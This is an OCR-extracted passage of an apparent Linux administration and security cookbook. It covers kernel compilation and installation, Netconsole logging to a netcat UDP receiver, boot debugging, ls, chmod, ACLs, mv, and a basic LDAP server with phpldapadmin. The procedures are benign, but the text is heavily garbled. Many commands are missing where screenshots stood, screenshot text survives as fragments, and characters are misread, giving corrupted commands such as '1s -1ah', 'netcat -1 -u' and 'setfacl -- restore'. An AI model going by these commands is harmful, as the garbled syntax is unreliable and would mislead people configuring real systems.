wget https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.1.5.tar.

3. When the download is completed, move to the directory where the download has
been saved.

4. If the downloaded file has been saved in the Downloads folder, the following
command should be executed:

5. Now, extract the downloaded . tar file to the /usr/src/ location using the
following command:

e
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6. Next, switch to the directory where the extract has been made using this command:

7. Now, run the command to configure the Linux kernel so that it can be compiled and
installed on the system.

fig-3.12-kalil-486

5:1715:warning: symbol value 'm' invalid for BMPGBS

8. You may have to use sudo before the preceding command if your account doesn't
have admin privileges.

9. Once the preceding command is executed, a pop-up window will appear, containing a
list of menus. Select the items of the new configuration.

=]
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.config - Linux/x86 4.1.6 Kernel C

Linux/x86 4.1.6 Kernel Configuration
Arrow keys navigate the menu. <Enter= selects submenus ---= [or empty submenus ----).
Highlighted letters are hotkeys. Pressing <Y= includes, <N= excludes, <M= modularizes
features. Press <Esc=<Esc> to exit, <?= for Help, </= for Search. Legend: [*] built-in [ ]
excluded <M= module < = module capable

(M1 64-bit kernel

General setup ---=
[*] Enable loadable module support ---=
[*] Enable the block layer ---=
Processor type and features ---=
Power management and ACPI options --->
Bus options (PCI etc.) ---=
Executable file formats / Emulations ---=
Networking support --->
Device Drivers ---=
Firmware Drivers ---=
File systems ---=
Hernel hacking ---=

< Exit = < Help = < Save > < Load >

10. You need to check for the File systems menu.

.config - Linux/x86 4.1.6 Kernel Configuration

Linux/x86 4.1.6 Kernel Configuration
Arrow keys navigate the menu. <Enter= selects submenus ---= (or empty submenus ----].
Highlighted letters are hotkeys. Pressing <Y= includes, <N= excludes, <M= modularizes
features. Press <Esc=<Esc> to exit, <?= for Help, </> for Search. Legend: [*] built-in [ ]
excluded <M= module < = module capable

[ ] 64-bit kernel
General setup --->
[*] Enable loadable module support ---=
[*] Enable the block layer ---=
Processor type and features ---=
Power management and ACPI options --->
Bus options (PCI etc.) --->
Executable file formats / Emulations ---=
[*] Networking support ---=
Device Drivers ---=
Firmware Drivers ---=
|| _File systems --->f

Kernel hacking ---=

< Exit > < Help > < Save > < Load

s
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11. Under it, check whether ext4 is chosen or not, as shown in following screenshot. If it
is not selected, you need to select it now.

.config - Lin x86 4.1.6 Kernel Configuration
> File systems

File systems
Arrow keys navigate the menu. <Enter> selects submenus ---> (or empty submenus ----).
Highlighted letters are hotkeys. Pressing <Y= includes, <N= excludes, <M= modularizes
features. Press <Esc=<Esc> to exit, <?= for Help, </= for Search. Legend: [*] built-in [ ]
excluded <M= module < = module capable

< = Second extended fs support
< = [xt3 journalling file system support
<M= The Extended 4 (extd4) filesystem
Use ext4 for ext2/ext3 file systems|
Ext4 POSIX Access Control Lists
Ext4 Security Labels
Ext4 Encryption (NEW)
EXT4 debugging support
JBDZ (extd4) debugging support
Heiserfs support
fnable reiserfs debug mode
Stats in /proc/fs/reiserfs
HeiserFS extended attributes

< Exit = <Help> < Save > < Load =

12. Then, save the configuration.

.config - Linux 4.1.6 Kern

Do you wish to save your new configuration?
(Press <ESC><ESC> to continue kernel configuration.)

fYes > < No >

NED
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13. Now, compile the Linux kernel. The compile process will take around 40 to 50
minutes to complete, depending on the system configuration. Run the command,
as shown here:

We first download the Linux kernel source, and then, after extracting it at a particular location,
we configure the kernel for the compilation process.

Installing and booting from a kernel

After having spent a lot of time configuring and compiling the kernel, we can now start the
process of installing the kernel on the local system.

Getting ready

Before starting the installation of the kernel, make sure to back up all your important data

on the system. Also, make a copy of /boot/ on an external storage that is formatted in the
FAT32 filesystem. This will help with repairing the system if the installation process fails for
any reason.

Es
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How to do it...

After completing the compilation of the kernel, we can then start following the commands
required to proceed with the installation of the kernel.

1. Install drivers by running the following command:

:fusr/src/linux-4.1.6# ma es install

The preceding command will copy the modules to a subdirectory of /1ib/modules.

2. Now, run the following command to install the actual kernel:

make install

fvmlinuz-4.1.6

/vmlinuz-4.1.6

3. This command executes /sbin/installkernel.
4. The new kernel will be installed in /boot /vmlinuz-{version}.

If a symbolic link already exists for /boot /vmlinuz, it will get refreshed by linking
/boot /vmlinuz to the new kernel.

The previously installed kernel will be available as /boot /vmlinuz.old. The
configand System.map files will also be available at the same location.

=
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5. Next, we will copy the kernel to the /boot directory by running this command:
cp -v arch/x86/boot/bzImage /boot/vmlinuz-4.1.6

mlinuz-4.1.6

6. Now build the initial RAM disk.

inux-4.1.6# mkinitramfs -o initrd.img-4.1.¢
nux-4.1.6# [

7. Next, we need to copy System.map, which contains a list of kernel symbols and their
corresponding address. For this, run the following command, appending the kernel's
name to the destination file.

ystem.map ystem.map-4.1.6

8. Next, create symlink /boot/System.map, which will pointto /boot/System.
map-YourKernelName if /boot is on a filesystem that supports symlinks.

ystem.map-4.1 tem.map

9. If /boot is on a filesystem that does not support symlinks, just run this command:

cp /boot/System.map-YourKernelName /boot/System.map

s
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After the configuration and the compilation of the kernel have been completed, we start with
the process of installing the kernel. The first command will copy the modules to a subdirectory
of /1ib/modules.

The second command executes /sbin/installkernel. Also, the new kernel will be
installed in /boot/vmlinuz-{version}. While doing this, if a symbolic link already exists
for /boot /vmlinuz, it will get refreshed by linking /boot /vmlinuz to the new kernel. The
previously installed kernel will be available as /boot /vmlinuz.old. The same is applied to
the config and System.map files.

Once everything is done, we can reboot the system to boot from the new kernel.

Testing and debugging a kernel

An important part of any open or closed Software Development Cycle (SDC) is testing and
debugging. This also applies to the Linux kernel. The end goal of testing and debugging is
to ensure that the kernel is working as it did earlier, even after installing a new kernel
source code.

Configuring a console for debugging using

Netconsole

If we want to capture a kernel panic, it becomes hard once the system has been rebooted as
there are no logs created for this. To solve this issue, we can use Netconsole.

A kernel module helps by logging kernel print messages over UDP. This becomes helpful with
debugging problems when logging on to the disk fails.

Getting ready

Before starting the configuration of Netconsole, we need to know the MAC address of the
system where the UDP packets will be sent. This system is referred to as a receiver, and
it may be in the same subnet or a different one. These two cases are described here:

1. The first case is when the receiver is in the same subnet.
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2. The IP address of the receiver in this example is 192.168.1.4. We will send UDP
packets to this IP address.

c 1 192.168.1.4 >

3. Now, let's find the MAC address of the receiver system by executing this command.
In the following case, the IP address is of the receiver system.

As we can see in the preceding example, 90:00:4e:2f:ac:ef is the MAC address
we need.

4. The second case is when the receiver is not in the same subnet. In this case, we
need to first find the default gateway. To do so, we run this command:

0 eth@®

5. Here, the default gateway is 192.168.1.1.

s
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6. We need to find the MAC address of the default gateway. First, send a packet to the
default gateway in this way:

:~# ping -¢ 1 192.168.1.1 >

Here, c0:3f:0e:10:c6:be is the MAC address of the default gateway that we need.

Now that we have the MAC address of the receiver, we can start with the configuration
process of Netconsole.

How to do it...

To begin with, we need to change the kernel options at boot time. If you are using Grub as
the bootloader, it will, by default, boot the kernel with the quiet splash option. However,
we don't wish this to happen. So, we need to change the kernel options.

1. First, create a backup of Grub at the /etc/default/grub location using the
command shown in the following screenshot:

NEQ
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2. Now, open any editor of your choice to edit /etc/default/grub.

3. Find the line GRUB_CMDLINE LINUX DEFAULT="quiet splash" and replace it
with GRUB_CMDLINE LINUX DEFAULT="debug ignore loglevel".

this file, run 'update-grub' afterwards to update

g im this fila,

DLINE_LINU
_CMDLINE_LINU

5. Once we have implemented the preceding commands, we need to initialize
Netconsole at boot time. For this, we first need to know the IP address and the
interface of the sender system. This can be done using the command shown
in the following screenshot:
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6. We also need the IP address and MAC address of the receiver system, which we took
a look at in the Getting Ready section.

7. Now, let's start initializing Netconsole. First, let's get netconsole to load on boot by
adding the module to /etc/modules.

Fault# sh -c 'ec

8. Next, we'll make sure that it has the appropriate options configured as well. For this,
we will add the module options to the /etc/modprobe .d/netconsole. conf file
and run the command shown in this screenshot:

9. Inthe preceding command, the part that starts with Netconsole has the following
syntax:

netconsole=<LOCAL PORT>@<SENDER IP ADDRESS>/<SENDER
INTERFACE>, <REMOTE PORT>@<RECEIVER IP ADDRESS>/<STEP 1 MAC
ADDRESS>

We have used 6666 for both <LOCAL PORT> and <REMOTE PORT>.

10. Next, we need to set up the receiver.

Depending on which version of Linux is being used as the receiver, the command
used to set up it up may vary:

netcat -1 -u 192.168.1.4 6666 | tee ~/netconsole.log

Try setting up the receiver without an IP address if the preceding command
doesn't work:

netcat -1 -u 6666 | tee ~/netconsole.log

NED
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11. If you are using a variant of Linux that has a different version of Netcat, the following
error message will be printed when you try using the preceding commands:

12. If you get the preceding error message, you can try out the command shown in this
screenshot:

~# netcat -1

13. Now, let the preceding command keep running.

14. Next, we need to check whether everything is working properly. Reboot the sender
system, and then execute the command shown in this screenshot:

forcin £
rs unt t thy, waitin

15. Now, you need to check the receiver system to take a look at whether the kernel
messages have been received or not.

16. Once everything is done, press Ctrl + C. Then, you can check for the messages in
~/netconsole.log.

s
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To capture kernel panic messages, we configure Netconsole, which logs messages over the
network. To do this, we need one more system on the network that serves as a receiver.
Firstly, we try to find the MAC address of the receiver system. Then, we change the kernel
boot options. After updating Grub, we start initializing Netconsole on the sender system
that we want to debug. Finally, we then we set up the receiver system to start receiving
kernel messages.

There's more...

If you are using a Windows system as a receiver, then you can use Netcat for Windows, which
is available at http://joncraton.org/files/nclllnt . zip. Execute the following steps
to set up a Windows receiver:

1. Download the file from the given link and extract it in a specified location (that is,
C:\Users\Tajinder\Downloads\nc>).

2. Now, open Command Prompt. Then, move to the folder where you have extracted
Netcat.

Microsoft windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. A1l rights reserved.

C:\Users\Tajinder>cd \
C:\>»cd C:\Users\Tajinder\Downloads\nc

C:\Users\Tajinder\Downloads\nc>

3. Next, run the command shown here:

Microsoft windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Tajinder>cd Downloads\nc

C:\Users\Tajinder\Downloads\nc> nc -u -1 -p 6666 192.168.1.3 > netconsole. txt

4. Here,192.168.1.3 isthe same as <RECEIVER IP ADDRESS>.

5. Letthe preceding command run and continue along with the commands mentioned in
step 9. Once this is done, press Ctrl + C. You will find messages in netconsole. txt.

=)
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Debugging a kernel on boot

Sometimes, your system might fail to boot changes within the kernel. Hence, it is important
that when you're creating reports about these failures, all the appropriate information about
debugging is included. This will be useful for the kernel team in order to resolve the issue.

How to do it...

If you are trying to capture error messages that appear during boot, then it is better to boot
the kernel with the quiet and splash options removed. This helps you to see messages,
if any, that appear on the screen.

To edit the boot option parameters, perform the following steps:

1. Boot the machine.

2. During the BIOS screen, press the Shift key and hold it down. You should see the
Grub menu after the BIOS loads.

GNU GRUB version 1.99-27+deb7u2

ery mode)

rimental multiboo-

3. Navigate to the kernel entry that you want to boot and press e.
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4. Then, remove the quiet and splash keywords (these can be found in the line
starting with Linux)

1i1-486"

5. Press Ctrl + x to boot.
You can see error messages, if any, on the screen.

Depending on the type of error messages you encounter, there are other boot options you
could try. For example, if you notice ACPI errors, try booting with the acpi=off boot option.

=



Local Filesystem
Security

In this chapter, we will discuss the following:

» Viewing file and directory details using the Is command

» Changing the file permissions using the chmod command

» Implementing access control list (ACL)

» File handling using the mv command (moving and renaming)

» Install and configure a basic LDAP server on Ubuntu

Viewing file and directory details using the

Is command

The 1s command is used to list files in a directory, and it is similar to the dir command in
DOS. This command can be used with various parameters to give different results.

Getting ready

Since the 1s command is a built-in command of Linux, we don't need to install anything else
to use it.
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How to do it...

Now, let's take a look at how we can use 1s in different ways to get a variety of results by just
following these given steps:

1. To take a look at the simple listing of files in a current directory, type 1s:

lib "un sys vmlinuz
lost+found iss cl s

media pre selinux usr
mnt root sSrv var

2. To get more information about the files and directories listed using the 1s command,
add a type identifier, as shown here:

vmlinuz@

When the preceding identifier is used, the executable files have an asterisk at the
end of the name, while the directories have a slash, and so on.

3. To check out details of files, such as the creation dates, owners, and permissions,
run the command with the 1 identifier, as shown here:

boot
dev

example
5 home

4. Tofind a listing of all the hidden files in the current directory, use the a identifier,
as shown here:

bin initrd.img media permissions.acl run Srv usr
boot lib mnt pro y sys var
dev = lost+found opt root elinu vmlinuz
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Files that begin with a period (also called dot files) are hidden files, which are not
shown if the -a option is not used.

5. To print the file size in readable form, such as MB, GB, TB, and so on, instead of
printing in terms of bytes, we can use the -h identifier along with -1 identifier, as
show here:

hin
boot

dev

6. If you wish to exclude all the files and display only their subdirectories, then you can
use the -d option, as follows:

7. The 1s command when used with the -R option will display the contents of the
subdirectories, too:

:/example# 1s -R

accounts permissions.acl

When we use different options with the 1s command, it gives us different results in terms of
listing a directory. We can use any option as per our requirements.

It is recommended that you get into the habit of using 1s -1ah so that you can always find
the listing in readable sizes.

=]
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Changing the file permissions using the

chmod command

Change Mode or chmod is a Linux command that is used to modify the access permissions
of files and directories. Everybody wants to keep their data secure and properly organized.
For this reason, Linux has a concept that associates owners and groups with every file and
directory. These owners and groups have different permissions to access a particular file.

Getting ready

Before we take a look at the different usages of the chmod command, we need to know the
different types of users and the symbolic representation used:

» uis used for user/owner
» gis used for a group
» o is used for others

Now, create a file called testfile.txt, to try out the different commands of chmod.

How to do it...

Now, we will take a look at how to use chmod in different ways in order to set different
permissions:

1. If we want to change a single permission for users (owners, groups, or others), we use
the + symbol to add the permission, as shown in the following command:

chmod u+x testfile.txt
The preceding command will add the execute permission for the owner of the file:

~# chmod u+x testfile
= 1s -1t

-rwxr--r-- 1 root root 39
L~

2. If we want to add multiple permissions, we can do this through a single command.
We just need to separate different permissions using a comma, as shown here:

chmod g+x, o+x testfile.txt
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The preceding command will add the execute permission for the group and other
users of the file:

23 18:27 testfile.txt

If we want to remove a permission, we just use the - symbol instead of +, as
shown here:

chmod o-x testfile.txt

This will remove the execute permission for the other users of the particular file:

Suppose we wish to add or remove a permission for all the users (owner, group, and
others); we can do this through a single command using the a option, which signifies
all users, as shown here:

To add the read permission for all the users, use this command:
chmod a+r testfile.txt

To remove the read permission for all the users, use this command:
chmod a-r testfile.txt

This is shown in the following screenshot:

17 "

st

@1
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5. Here, we suppose that we want to add a particular permission to all the files in a
directory. Now, instead of running the command for all the files individually, we can
use the -R option, which signifies that the given operation is recursive. So, to give
execute permission for the other users and all the files in a directory, the command
will be as follows:

chmod o+x -R /example
Have a look at the following screenshot showing

xample# 1s -1

3
1
1
Xa

rmi ns.acl
Test Directory
testfile. txt

6. To copy the permissions of a particular file to another file, we can use the
reference option:

chmod --reference=filel file2

Here, we applying the permissions of £ilel to another file called £ile2. The same
command can be used to apply the permissions of one directory to another directory:

:/example/Test Directory# 1s -1

When chmod is used with a symbolic representation, we already know the following;:

» uis used for a user/owner

=
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» gis used for a group
» ois used for others

Also, different permissions are referred to as follows:

» r:read
> w: write
>  X:execute

So, using the preceding commands, we change the permissions for the user, group, or others
as per our requirements.

We can set permissions with chmod using numbers as well, which is called the Octal
representation. Using numbers, we can edit permissions for an owner, group, and others,
all at the same time. The syntax of the command is as follows:

» chmod xxx file/directory

Here, xxx refers to a three digit number ranging from 1-7. The first digit refers to the owner's
permission, while the group is represented by the second digit, and third digit refers to the
permissions of others.

When we use the octal representation r, w, and x permissions have a specific number value,
as mentioned here:

» r=4
> w=2
»  x=1

Now, a read and execute permission is represented as follows:
» rx=4+0+1=5
Similarly, a read, write, and execute permission is calculated as follows:
> rwx=4+2+1=7
If we wish to give only the read permission, it will be as follows:
» r—-=4+0+0=4
So, now if we the run the following command, it gives the permission as calculated:

chmod 754 testfile.txt

@]
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Here's the screenshot:

- W -

mple# 1s -1 t fil

9 Nov 30

Implementing the basic file permissions using chmod is not enough, so we can use ACLs.
In addition to providing permissions for the owner and group of a particular file, we can set
permissions for any user, user group, or group of all the users who are not in a group of a
particular user using ACLs.

Getting ready

Before starting with the setting of permissions using ACLs, we need to confirm whether
ACLs are enabled or not. We can do this by trying to view the ACLs for any file, as shown in
this example:

getfacl<filename>

The preceding command will show an output similar to the following if the ACLs are enabled:

How to do it...

To understand more about ACLs, let's perform these steps:

1. First, we will create three users and give them names—useril, user2, and user3:
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rmation chant

iation chane

iation chane

The preceding command is used to change the password information, which is
optional. You can ignore it if you want to. However, in this case, you will need to log in
with the password of a particular user as and when required.

Next, create a group with any name, such as group1. After creating the group, we will
add the three users, created in the previous step, to this group:

Open a new terminal window and log in from user1. After this, change to the
/example directory, which was created in the previous example, and inside it,
create a directory with any name, such as accounts:

i
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5. Now, suppose userl wants to give write permission to user2 only in the accounts
directory. To do so, userl has to set write permission in groups. But doing so will
give write permission to user3 also, and we don't want this to happen. So, user1
will grant write access to user2 using ACLs, as shown here:

We can see that in the preceding image, only user1 and user2 have write
permission in the directory, and the others have no permissions.

7. Open a new terminal and log in from user2. Then, change to the /example
directory:

8. Let's try to make a directory in the accounts folder. Since user2 has write
permission, this should be successful:
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9. Next, open a new terminal and log in from user3. Then, change to the /example
directory:

~# su user3

10. Try to change to the accounts directory. Since user3 does not have any permission
over the directory, it will be denied:

unts
; can't cd

There's more...

We might want to grant the execute permission for only two users from a group of users.
If we do this by setting the permission using chmod, all the users from the group will get the
execute permission. However, we do not want this. This kind of situation can be handled
using ACLs.

In the preceding steps, we have set permissions on a file individually for each user, thus
avoiding the chance of allowing others to also have any permissions.

Whenever we deal with file permissions, it is better to take a backup of the permissions if your
files are important.

Here, we suppose that we have an example directory that contains a few important files.
Then, back up the permissions using this command:

getfacl -R /example>permissions.acl

The preceding command backs up the permissions and stores them in a file called
permissions.acl.

Now, if we want to restore the permissions, the command to do this is as follows:

setfacl -- restore=permission.acl

-
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This shown in the following screenshot:

This will restore and back up all the permissions to where they were while creating the backup.

File handling using the mv command

(moving and renaming)

The mv or move command is used when we wish to move files from one directory to another,
and we don't want to create duplicates while doing this (something that happens when using
the cp command).

Getting ready...

Since mv is a built-in command of Linux, we don't have to configure anything else to understand
how it works.

On every Linux system, this command is installed by default. Let's take a look at how to use
the mv command by taking different kinds of examples:

1. To movethe testfilel.txt file from the current directory to any other directory,
such as home/practical/example, the command is as follows:

mv testfilel.txt /home/practical/example
The preceding command will work only when the location of the source file is different
from the destination.

When we move the file using the preceding command, the file will get deleted from
the previous location:

~# s
build module Dow ini : 1 testfile. txt

testfile. tx

:/home/practical/example# cd
~# 1s

build module Doy mkinitcpio ne
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2. To move multiple files using a single command, we can use this command:

mv testfile2.txt testfile3.txt testfile4.txt /home/practical/
example

When using the preceding command, all the files that we are moving should be in the
same source location:

3. To move a directory, the command is the same as the one used to move a file.
Suppose we have a directoryl directory in the current directory and we want
to move it to the /home/practical/example location, the command will be
as follows:

mv directoryl/ /home/practical/example

This shown in the following screenshot:

1~
build module di ) missions.acl
Desktop )

directoryl file: f testfile, txt
:/home/p

4. The mv command is also used to rename files and directories. Suppose that we have
an example 1.txt file and wish to rename it example 2.txt,the command to do
this will be as follows:

mv example 1.txt example 2.txt
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The preceding command works when the destination location is the same as the
source location:

example# 1s
t practical
example# mv

5. Renaming a directory also works in the same way as renaming a file. Suppose we have
atest directory 1 directory and we wantto rename it test directory 2,then
the command will be as follows:

mv test directory 1/ test directory 2/

The execution of the preceding command can be seen in the following screenshot:

fexample# 1s
ractical
nple# mv te:
eff 1s
ctical test directory 2
example# ||

6. When we use the mv command to move or rename a large number of files or
directories, we can check whether the command works successfully or not using
the -v option.

7.  We may want to move all the text files from the current directory to the
/home/practical/example folder and also check them. To do this, use the
following command:

mv -v *.txt /home/practical/example

The execution of the preceding command can be seen in the following screenshot:

practical
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8. This also works when moving or renaming a directory:

:~/example# mv -v test_director

*/ho ractical/

9. When we use the mv command to move a file to another location and a file already
exists there with the same name, then the existing file gets overwritten when using
the default command. However, if we wish to show a pop-up notification before
overwriting the file, then we have to use the -1 option, as shown here:

mv -i testfilel.txt /home/practical/example
When the preceding command is run, it will notify us that a file with the same name

already exists in the destination location. Only when we press y will the command
complete; otherwise, it will get cancelled:

~# 1s
build module Downloads mkinitcpio
Desktop

mv <

build_module nloads mkinitcpio
Desktop example myfile
~# 1

10. When using the mv command to move a file to another location where a file with the
same name already exists, using the -u option will update the file in the destination
location only if the source file is newer than the destination file.

We have two files, file 1.txt and £ile 2.txt, atthe source location. First,
check the details of the file using this command:

1s -1 *.txt

Now let's check the details of the files at the destination location:
ls -1 /home/practical/example/*.txt
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Now, move the files using this command:

mv -uv *.txt /home/practical/example/

We see that filel.txt and file2.txt have been moved to the destination
location and have updated the earlier files because of the new time stamp of the
source files.

11. Suppose we move multiple files and in the destination location, a few files with the
same name as the source already exist, which we don't want to update. In such a
case, we can use the -n option, as shown in the following steps.

12. We have two files, file 1.txt and file 2.txt, atthe source location. First,
check the details of the files using this command:

ls -1 *.txt

13. Now, move the files using this command:

mv -nv *.txt /home/practical/example/

14. Let's check the details of the files in the destination location:
ls -1 /home/practical/example/*.txt

15. The files with the same name have not been moved, which can be checked by
observing their timestamp:

NED
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:~fexample# 1ls -1 *

16. When moving file, if the destination location already has a file with the same name,
then we can also create a backup of the destination file before it is overwritten by
the new one. To do this, we use the -b option:

mv -bv *.txt /home/practical/example

17. Now, let's check the details of the files in the destination location. In the details,
we have files named filel.txt~and file2.txt~. These files are backup files
that can be verified by the timestamp, which is older than those of filel.txt and
file2.txt:

-rw-r--r--

There's more...

You can learn more about the mv command by typing man, mv, or mv --help. This will display
its manual page where we can explore more details about the command.
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Install and configure a basic LDAP server on

Ubuntu

Lightweight Directory Access Protocol or LDAP is a protocol used to manage access to a file
and directory hierarchy from some centralized location. The directory is similar to a database;
however, it is likely to contain more expressive, attribute-based information. LDAP is mainly
used for centralized authentication.

An LDAP server helps to control who has access to the read and update information in
the directory.

Getting ready

To install and configure LDAP, we need to first create a Ubuntu server. The current version
of the Ubuntu server installation media can be found at http://www.ubuntu.com/
download/server

After downloading it, follow the steps given for the installation of the Ubuntu server.

We need a second system with the Desktop version of Ubuntu installed. This will be used to
access your LDAP server through a web interface.

Once this is done, we can proceed with the installation of LDAP.

How to do it...

We shall now start with the process of installing and configuring LDAP on the Ubuntu server. The
slapd package is required to install LDAP, and it is present in Ubuntu's default repositories:

1. We will first update the package list on the server from Ubuntu's repositories to get
information about the latest versions of all the packages and their dependencies:

sudo apt-get update

2. Now, run the command to install the slapd package in order to to install LDAP:

sudo apt-get install slapd

The following screenshot shows the output of this command:
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Chapter 3

ta jinder@mynetwork:™S sudo apt-get install slapd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
libldap-2.4-2 libodbcl libslpl
Suggested packages:
libmyodbc odbc-postgresql tdsodbc unixodbc-bin slpd openslp-doc ldap-utils
The following NEW packages will be installed:
libodbcl libslpl slapd
The following packages will be upgraded:
libldap-Z.4-2
1 upgraded, 3 newly installed, 0 to remove and 82 not upgraded.
Need to get 1,628 kB of archives.
After this operation, 4,919 kB of additional disk space will be used.
Do you want to continue? [Y.nl

3. During the installation process, you will be prompted to enter and confirm an
administrator password, which will be used for the administrator account of LDAP.
Configure any password of your choice and complete the installation process:

Conf iguring =slapd |
Please enter the password for the admin entry in your LDAP directory.

Adninistrator passuord:

4. Next, we need to install some additional utilities that are required with LDAP:
sudo apt-get install ldap-utils

The output of the command can be seen in the following screenshot:

ta jinder@mynetwork:™5 sudo apt-get install ldap-utils
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following MNEW packages will be installed:
ldap-utils
O upgraded, 1 newly installed, © to remove and 82 wot upgraded.
Need to get 116 kB of archives.
After this operation, 674 kB of additional disk space will be used.
Get:1 http:rrin.archive.ubuntu.com-ubuntus trusty-updatessmain ldap-utils i386 2.4.31-1+nmuZubuntud.
2 [116 kB1
Fetched 116 kB in 1s (84.8 kBrs)
Selecting previously unselected package ldap-utils.

(Reading database ... 62416 files and directories currently installed.)
Preparing to unpack ...-sldap-utils 2.4.31-1+nmuubuntud.2 i386.deb ...
Unpacking ldap-utils (2.4.31-1+mmu2ubuntu8.2) ...

Processing triggers for man-db (2.6.7.1-1ubuntul) ...

Setting up ldap-utils (2.4.31-1snwmuZubuntud.2) ...

ta jinder@nynetwork: "5
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5. Once the installation part is complete, we will start to reconfigure the LDAP package
as per our requirements. Type this command to start the package configuration tool:

sudodpkg-reconfigure slapd

6. This will start a series of questions regarding the configuration of the software. We
need to choose the options one by one as per our requirements.

7. First, you will be asked Omit OpenLDAP server configuration? Select No and continue:

| Configuring slapd |

If you enable this option, no initial configuration or database will be created for you.

Omit OpenLDAP server configuration?

<Yes>

8. Next, you need to enter the domain name. You can use an already existing domain
name on the server or create anything of your choice. We have used example . com
here:

| Configuring slapd |
The DNS domain name is used to construct the base DN of the LDAP directory. For example,
'foo.example.orgy’ will create the directory with 'dc=foo, dc=example, dc=org’ as base DH.

DNS domain name:

9. The next step will be to ask for the Organization Name, which can be anything of
your choice:

Conf iguring slapd |
Please enter the name of the organization to use in the base DN of your LDAP directory.

Drganization name:

<0k>

&
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10. You will be asked to enter the administrator password for LDAP. We had already
configured this during the installation of LDAP. Use the same password, or you

change it to something else in this step:

| Configuring slapd |
Please enter the password for the admin entry in your LDAP directory.

Administrator passuord:

11. Next, we need to select the HDB when prompted to choose Database backend to
use? option:

| Configuring slapd |
The HDB backend is recommended. HDB and BDB use similar storage formats, but HDB adds
support for subtree renames. Both support the same configuration options.

In either case, you should review the resulting database configuration for your needs. See
susrsshare-doc-/slapd-README.DB_CONFIG.gz for more details.

Database backend to use:

12. You will be asked whether you wish to remove the database when slapd is purged.
Select No here:

| Configuring slapd |}

Do you want the database to be removed when slapd is purged?

<Yes>

(&5}
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13. In the next step, select Yes to move the old database, and allow the configuration
process to create a new database:

| Configuring slapd |

There are still files in svar-slib-ldap which will probably break the configuration process.
If you enable this option, the maintainer scripts will move the old database files out of

the way before creating a new database.

Move old database?

14. Now, choose No when asked Allow LDAPv2 protocol?.

| Configuring slapd |

The obsolete LDAPvZ protocol is disabled by default in slapd. Programs and users should
upgrade to LDAPv3. If you have old programs which can’t use LDAPv3, you should select this
option and 'allow bind_vZ2' will be added to your slapd.conf file.

Allow LDAPVZ protocol?

15. Once the configuration process is done, we will install the phpldapadmin package.
This will help in administering LDAP through the web interface:

sudo apt-get install phpldapadmin

The execution of this command can be seen in the following screenshot:

=
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ta jinder@mynetuwork:™5 sudo apt-get install phpldapadmin

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following extra packages will be installed:
apacheZ apacheZ-bin apacheZ-data libapacheZ-mod-php5S libaprl libaprutill
libaprutill-dbd-sgqlite3d libaprutill-ldap php5-cli phpS—common phpS5- json
php5-1ldap phpS-readline

Suggested packages:
apacheZ-doc apacheZ-suexec—pristine apacheZ-suexec—custom apacheZ-utils
php—pear phpS-user—cache

The following NEW packages will be installed:
apacheZ apacheZ-bin apacheZ-data libapacheZ-mod-php5S libaprl libaprutill
libaprutill-dbd-sgqlite3d libaprutill-ldap php5-cli phpS—common phpS5- json
php5-ldap phpS-readline phpldapadmnin

0 upgraded, 14 newly installed, 0 to remove and 82 not upgraded.

Need to get 6,795 kB of archives.

After this operation, £9.5 MB of additional disk space will be used.

Do you want to continue? [¥ml _

16. Once the installation is completed, open the configuration file of phpldapadmin to
configure a few values:

sudo nano /etc/phpldapadmin/config.php

This is shown in the following screenshot:

ta jinder@mymetwork:™; sudo nano setcsphpldapadminsconfig.php _

17. Search for the given section, and modify it to reflect the domain name or the IP
address of the Ubuntu server:

$servers->setValue('server', 'host', 'domain nam or IP address');

This is shown in the following screenshot:

Sservers—>setValue(’server', ' host',’192.168.83.133"):

]
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18. Next, edit the following entry and insert the domain name that we had given when we
reconfigured slapd:

$servers->setValue('server', 'base',array('dc=example,dc=com')) ;

Give the domain name in the form of values to the dc attribute in the preceding line.
Since our domain name was example . com, the value in the preceding line will be
entered as dc=example, dc=com.

Sservers->setValue(’server’,'base’ ,array(’ dc=exanple,dc=con’));

19. Find the following line, and enter the domain name as the dc attribute again. For the
cn attribute, the value will be admin only:

$servers->setValue('login', 'bind id', 'cn=admin, dc=example,dc=com') ;

This can be seen in the following screenshot:

Sservers->setValue(’ login’, 'bind_id’, ' cn=adnin,dc=exanple,dc=com’ );

20. Search for the section that reads similarly to what is shown in the following code, and
first uncomment the line and then set the value to true:

$config->custom->appearance['hide template warning'] = true;

This can be seen in the following screenshot:

Sconf ig—>custom—>appearancel’ hide_template_warning'1 = true;

21. After making all the changes, save and close the file.

(&)
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22. When the configuration of phpldapadmin is complete, open a browser in the other
system that has the desktop version of Ubuntu. In the address bar of the browser,
type the domain name or the IP address of the server, followed by /phpldapadmin,

as domain name or IP address/phpldapadmin:

Ra phpLDAPadmin (1.2.2) - B3
€ (@ 192168.83.133/phpldapadmin/ v€ [Ovoowge QA &
=php
=LDAP
=admin P ¥Q@

Home | Purge caches | Show Cache

M My LDAP Server

=php
- admin
Use the menu to the left to na\flgate

Credits | Documentation | Donate

f

23. Once the phpldapadmin page opens, on the left-hand side we find the login li
Click on it and you will get a login prompt:

Authenticate to server My LDAP Server

Warning: This web connection is unencrypted.

Login DN:

IT kn=admin,dc=exampLe,dc=com
Password:

Anonymous D

| Authenticate |

nk.
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24. The login screen has the correct Login DN details if phpldapadmin has been
configured correctly so far. This is cn=admin, dc=example, dc=com in our case.

25. Once you enter the administrator password correctly, the admin interface will
be shown:

=php
=LDAP .
=admin 27 ¥Q@

Home | Purge caches | Show Cache

5 My LDAP Server ® @ Authenticate to sen‘rer

. Successfully logged into server.
@ oH & «d

schema search refresh info import export logout
Logged in as: cn=admin

3 de=example, de=com (1) B php
sLDAP
=admin

Use the menu to the left to navigate

26. In the admin interface on the left-hand side where you see the domain components

(dc=example, dc=co), click on the plus sign next to it. It will show the admin login
being used:

=php
=LDAP
=anmin
Home | Purge caches | Show Cache

M My LDAP Server ©

B @ & 0@ & 4

schema search refresh info  import export logout
Logged in as: crhi=admin

i # dc=example, dc=com (1)
= cn=admin

Create new entry here

Our basic LDAP server is now up and running.

&)
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We first create an Ubuntu server, and then on top of it, we install the s1apd package to install
LDAP. Once it is completely installed, we install the additional package that is required. Then,
we reconfigure LDAP as per our requirements.

Once reconfiguration is complete, we install the phpldapadmin package, which will help us
